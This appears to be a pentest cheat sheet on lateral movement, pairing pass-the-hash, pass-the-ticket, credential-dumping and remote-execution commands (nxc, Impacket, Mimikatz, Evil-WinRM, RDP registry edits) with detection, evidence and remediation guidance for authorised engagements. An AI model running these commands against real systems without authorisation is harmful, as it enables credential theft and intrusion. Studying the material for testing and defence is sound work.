Lateral Movement
Move through the network using captured credentials, hashes, and tickets to access additional systems.
Danger
Tool Installation
Impacket
PsExec, WMIExec, etc.
pip install impacket
Evil-WinRM
WinRM shell
gem install evil-winrm
Pass-the-Hash (PtH)
Use NTLM hashes directly without knowing the plaintext password. Works with local admin accounts and domain accounts.
Hash Format:
LM:NTLM- Full format (e.g., aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0):NTLM- NTLM only (LM is often empty)- Empty LM hash:
aad3b435b51404eeaad3b435b51404ee
Warning
nxc PtH
# Execute command with hash
nxc smb TARGET -u Administrator -H 'LM:NTLM' -x 'whoami'
# Just NTLM hash (common)
nxc smb TARGET -u Administrator -H ':31d6cfe0d16ae931b73c59d7e0c089c0' -x 'whoami'
# Spray hash across network (find where admin creds work)
nxc smb 192.168.1.0/24 -u Administrator -H 'HASH' --local-auth
# Check if user is local admin (Pwn3d!)
nxc smb 192.168.1.0/24 -u Administrator -H 'HASH'
# Dump SAM hashes with PtH
nxc smb TARGET -u Administrator -H 'HASH' --sam
# Dump LSA secrets
nxc smb TARGET -u Administrator -H 'HASH' --lsa
# Execute PowerShell
nxc smb TARGET -u Administrator -H 'HASH' -X 'Get-Process'Impacket PtH
Impacket provides multiple execution methods with different stealth/detection tradeoffs.
# PsExec - Creates service, interactive shell
psexec.py -hashes :NTLM_HASH Administrator@TARGET
# WMIExec - Stealthier, semi-interactive
wmiexec.py -hashes :NTLM_HASH Administrator@TARGET
# SMBExec - Uses named pipes
smbexec.py -hashes :NTLM_HASH Administrator@TARGET
# AtExec - Uses Task Scheduler (non-interactive)
atexec.py -hashes :NTLM_HASH Administrator@TARGET 'whoami > C:\output.txt'
# DCOMExec - Uses DCOM objects
dcomexec.py -hashes :NTLM_HASH Administrator@TARGET
# Full hash format also works
psexec.py -hashes 'aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' Administrator@TARGETMimikatz PtH / Overpass-the-Hash
Overpass-the-Hash converts NTLM hash to a Kerberos ticket, allowing pass-the-hash to Kerberos-only services.
# Overpass-the-hash - spawns new process with Kerberos ticket
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:HASH /run:powershell.exe
# The new PowerShell window has Administrator's Kerberos ticket
# Verify with: klist
# Access resources
dir \\target.corp.local\c$
# You can also use AES keys
mimikatz# sekurlsa::pth /user:Administrator /domain:corp.local /aes256:AES_KEY /run:cmd.exe
# Classic PtH (NTLM only, deprecated)
mimikatz# sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exePass-the-Ticket (PtT)
Use stolen Kerberos tickets to authenticate. Works even when NTLM is disabled.
Ticket Formats:
.kirbi- Windows format (Mimikatz, Rubeus).ccache- Linux format (Impacket)Base64- Rubeus output format- Convert between formats with
ticketConverter.py
Export and Import Tickets
# Export tickets with Mimikatz (saves all tickets to .kirbi files)
mimikatz# sekurlsa::tickets /export
# Export specific ticket
mimikatz# kerberos::list /export
# Import ticket
mimikatz# kerberos::ptt ticket.kirbi
# Rubeus - dump all tickets (Base64 format)
Rubeus.exe dump /nowrap
Rubeus.exe dump /service:krbtgt /nowrap # Just TGTs
# Rubeus - import ticket from Base64
Rubeus.exe ptt /ticket:BASE64_TICKET_STRING
# Rubeus - import from file
Rubeus.exe ptt /ticket:ticket.kirbi
# Verify ticket loaded (Windows)
klistImpacket with Kerberos
# Convert kirbi to ccache format
ticketConverter.py ticket.kirbi ticket.ccache
# Convert ccache to kirbi
ticketConverter.py ticket.ccache ticket.kirbi
# Set environment variable to use ccache
export KRB5CCNAME=/path/to/ticket.ccache
# Use any Impacket tool with Kerberos (-k flag, -no-pass)
psexec.py -k -no-pass corp.local/Administrator@target.corp.local
wmiexec.py -k -no-pass corp.local/Administrator@target.corp.local
secretsdump.py -k -no-pass target.corp.local
smbclient.py -k -no-pass corp.local/Administrator@target.corp.local
# IMPORTANT: Use FQDN (target.corp.local), not IP address!
# Kerberos requires matching hostname in ticketWarning
Remote Execution Methods
Different methods have different requirements, detection signatures, and capabilities.
PsExec
Creates a service on the remote system. Noisy but reliable.
# Impacket PsExec (creates PSEXESVC service)
psexec.py corp.local/Administrator:Password123@TARGET
psexec.py corp.local/Administrator:Password123@TARGET 'cmd.exe /c whoami'
# Sysinternals PsExec
PsExec.exe \\TARGET -u corp\Administrator -p Password123 cmd.exe
PsExec.exe \\TARGET -u corp\Administrator -p Password123 -s cmd.exe # SYSTEM
# nxc (tries multiple methods)
nxc smb TARGET -u Administrator -p Password123 -x 'whoami'
nxc smb TARGET -u Administrator -p Password123 -x 'whoami' --exec-method smbexecDetection Indicators:
- Service creation event (Event ID 7045)
- File write to ADMIN$ share
- Named pipe connections
WMI Execution
WMI is stealthier - no service created, uses existing WMI infrastructure.
# Impacket WMIExec (semi-interactive shell)
wmiexec.py corp.local/Administrator:Password123@TARGET
wmiexec.py -hashes :NTLM_HASH Administrator@TARGET
# PowerShell WMI
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'cmd.exe /c whoami > C:\output.txt' -ComputerName TARGET -Credential $cred
# Read output
Get-Content \\TARGET\c$\output.txt
# CIM (modern WMI)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='calc.exe'} -ComputerName TARGET -Credential $cred
# wmic command line (removed in 24H2 / Server 2025, still present on older builds)
wmic /node:TARGET /user:Administrator /password:Password123 process call create 'cmd.exe /c whoami'WinRM (Evil-WinRM)
WinRM provides encrypted PowerShell remoting. Port 5985 (HTTP) or 5986 (HTTPS).
# Evil-WinRM with password
evil-winrm -i TARGET -u Administrator -p 'Password123'
# Evil-WinRM with hash (PtH)
evil-winrm -i TARGET -u Administrator -H 'NTLM_HASH'
# Evil-WinRM with Kerberos ticket
# -K takes the .ccache (or .kirbi); -r only sets the realm
evil-winrm -i target.corp.local -r CORP.LOCAL -K Administrator.ccache
# Evil-WinRM features
menu # Show all features
upload /local/file # Upload file
download C:\file # Download file
services # List services
# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred
# Invoke-Command for mass execution
Invoke-Command -ComputerName server1,server2,server3 -Credential $cred -ScriptBlock { whoami; hostname }
# Check if WinRM is enabled
Test-WSMan -ComputerName TARGETTip
nxc smb TARGET -u admin -p pass -x 'winrm quickconfig -q' (or -X 'Enable-PSRemoting -Force').
Check the result with nxc winrm TARGET -u admin -p pass — NetExec has no winrm SMB module.
DCOM Execution
DCOM is less monitored and often overlooked by defenders.
# Impacket DCOMExec (uses MMC20 by default)
dcomexec.py corp.local/Administrator:Password123@TARGET
dcomexec.py -hashes :NTLM_HASH Administrator@TARGET
# Different DCOM objects
dcomexec.py corp.local/Administrator:Password123@TARGET 'whoami' -object ShellBrowserWindow
dcomexec.py corp.local/Administrator:Password123@TARGET 'whoami' -object ShellWindows
dcomexec.py corp.local/Administrator:Password123@TARGET 'whoami' -object MMC20RDP Access
Full GUI access. Note: May kick off current user and is heavily logged.
# Enable RDP via registry (if you have admin)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Firewall rule for RDP
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
# Add user to Remote Desktop Users group
net localgroup "Remote Desktop Users" username /add
# RDP with xfreerdp (Linux)
xfreerdp /u:Administrator /p:Password123 /v:TARGET /cert-ignore
xfreerdp /u:corp\\Administrator /p:Password123 /v:TARGET /cert-ignore # Domain user
# RDP Pass-the-Hash (Restricted Admin Mode required)
xfreerdp /u:Administrator /pth:NTLM_HASH /v:TARGET /cert-ignore
# Enable Restricted Admin Mode (on target)
reg add HKLM\\System\\CurrentControlSet\\Control\\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
# RDP with rdesktop
rdesktop -u Administrator -p Password123 TARGET
# SharpRDP (command execution via RDP without full GUI)
SharpRDP.exe computername=TARGET command="whoami" username=Administrator password=Password123Warning
SSH (Linux Targets)
For Linux systems or Windows with OpenSSH installed.
# SSH with password
ssh user@TARGET
# SSH with key
ssh -i id_rsa user@TARGET
chmod 600 id_rsa # Fix permissions if needed
# SSH tunneling for lateral movement
# Local port forward (access internal service from attacker)
ssh -L 8080:internal-host:80 user@pivot-host
# Now access http://localhost:8080 to reach internal-host:80
# SOCKS proxy (tunnel all traffic)
ssh -D 9050 user@pivot-host
# Use with proxychains
# Remote port forward (expose attacker service to internal network)
ssh -R 8080:localhost:80 user@pivot-host
# SSH with password (avoid interactive prompt)
sshpass -p 'password' ssh user@TARGET
# Execute command without interactive shell
ssh user@TARGET 'whoami; id; cat /etc/passwd'Lateral Movement Cheat Sheet
| Method | Port | Pros | Cons |
|---|---|---|---|
| PsExec | 445 | Interactive shell | Creates service, noisy |
| WMIExec | 135 | Stealthier, no service | Semi-interactive |
| WinRM | 5985/5986 | Native, encrypted | Must be enabled |
| DCOM | 135 | Often overlooked | Non-interactive |
| RDP | 3389 | Full GUI access | Kicks off user, logged |
Tip
External Resources
The Hacker Recipes - Pass-the-Hash
Comprehensive PtH guide
Impacket - GitHub
Python tools for network protocols
Evil-WinRM - GitHub
Ultimate WinRM shell for pentesting
HackTricks - Lateral Movement
Comprehensive lateral movement techniques
ired.team - Lateral Movement
Red Team lateral movement notes
nxc - GitHub
Swiss army knife for pentesting networks
Practice Labs
Practice lateral movement techniques
Detection & Blue Team
Each primitive leaves a different artefact, and that artefact — not the credential — is the detection surface. The same successful authentication is benign over a management VLAN and anomalous from a workstation at 02:00, so every row below is a baseline question before it is an alert.
| Technique | Event IDs | Detection Approach |
|---|---|---|
| Pass-the-Hash | 4624 (Type 3, NTLM) | Network logon with NTLM authentication from unusual workstations. Alert on admin accounts using NTLM instead of Kerberos. |
| PsExec / SMBExec | 7045, 4697 | New service installation on remote hosts with random names. Monitor for services created by non-SYSTEM accounts. |
| WMI Execution | 4688 (wmiprvse.exe child) | Process creation from wmiprvse.exe on remote machines. Monitor WMI event subscriptions (5857-5861). |
| WinRM / Evil-WinRM | 4624 (Type 3), 91, 168 | WinRM connections from non-admin workstations. Monitor PowerShell remoting events (Microsoft-Windows-WinRM/Operational). |
| RDP Hijacking | 4778, 4779, 1149 | Session reconnection from different source. Monitor tscon.exe usage and RDP session switches. |
Evidence Collection
Session and identity:
The host, the account used, whether it authenticated by password, hash or ticket, and the resulting context (whoami /all, whoami /priv). A command that returned is not proof of the privilege level you claim.
Primitive and artefact: Which mechanism carried the execution — PsExec service name, WMI process ID and parent, WinRM shell, DCOM object, RDP session ID. The artefact is what the client has to hunt for after the engagement, so it belongs in the finding.
Admin scope: Every host where the credential produced local admin, as a list. That list is the blast radius and usually the finding itself; "lateral movement achieved" without the host list is not reportable.
Credential provenance: Where the hash or ticket came from — which dump, which host, which account — so the client knows what to rotate and in what order.
CVSS range: Lateral movement with local admin on a member server: 7.2–8.8 | Reaching Domain Admin: 9.8 | Re-use of a local admin password across hosts is a separate, higher finding
False Positive Identification
- A stale "Pwn3d!" marker: nxc reports admin from a cached session as well as a fresh one. Re-run against a host you have not touched and confirm with a command whose output you can read.
-
Process start is not command success:
WMI
Win32_Process.Createand PsExec return a process ID whether or not the payload ran. Collect the output file, logon event or service exit code before calling it execution. -
A loaded ticket that is never accepted:
A
.ccachewith the wrong SPN, the wrong realm, or an IP where Kerberos needs an FQDN produces an access-denied that looks like a privilege problem. Verify the ticket is in use withklistfirst. - RDP reconnection is not hijacking: Attaching to an existing disconnected session with the same account is normal administration. Session hijacking requires taking over another user's session — evidence the two SIDs differ.
Testing Checklist
Each movement method fails differently, so the checklist is per method: the command returning is not the same as the command having run.
Prove access on one host
- ☐
nxc smb -HprintsPwn3d!and a following command returns readable output - the marker alone can come from a cached session. - ☐ Each execution method (PsExec, WMI, WinRM, DCOM, RDP) is confirmed by output or a readable file, not by a returned process ID.
- ☐
evil-winrm -K ticket.ccacheopens a shell, andklistshows the ticket is the one in use when it does not. - ☐ SSH to a Linux target is confirmed as the account you intended, not merely as a successful login.
Bound the blast radius
- ☐ Every host where the credential produced local admin is listed - that list is the finding, not the technique.
- ☐ The credential's provenance (which dump, host and account) is recorded so the client knows what to rotate first.
- ☐ The artefact is named per mechanism: service name,
wmiprvse.exeparent, WinRM shell ID, DCOM object. - ☐ RDP session hijacking is claimed only where the two SIDs differ - reconnecting to your own session is normal administration.
Remediation
Make a stolen credential worth less
- • Deploy LAPS (or Windows LAPS) so the local administrator password is unique per host — one hash then buys exactly one machine.
- • Tier administration: separate accounts for workstation, server and domain administration, with admin workstations for the top tier.
- • Add privileged accounts to Protected Users and disable NTLM where the estate allows it, so a hash cannot stand in for a password.
Detect the primitive, not the tool
- • Alert on
7045/4697service installation from a non-management host, and on4688processes whose parent iswmiprvse.exe. - • Log PowerShell remoting (
4103/4104) and4624type 3 NTLM logons by admin accounts outside their management subnet. - • Watch
4624type 10 with a source that is not a jump host, andtscon.exeinvocations against sessions the caller does not own.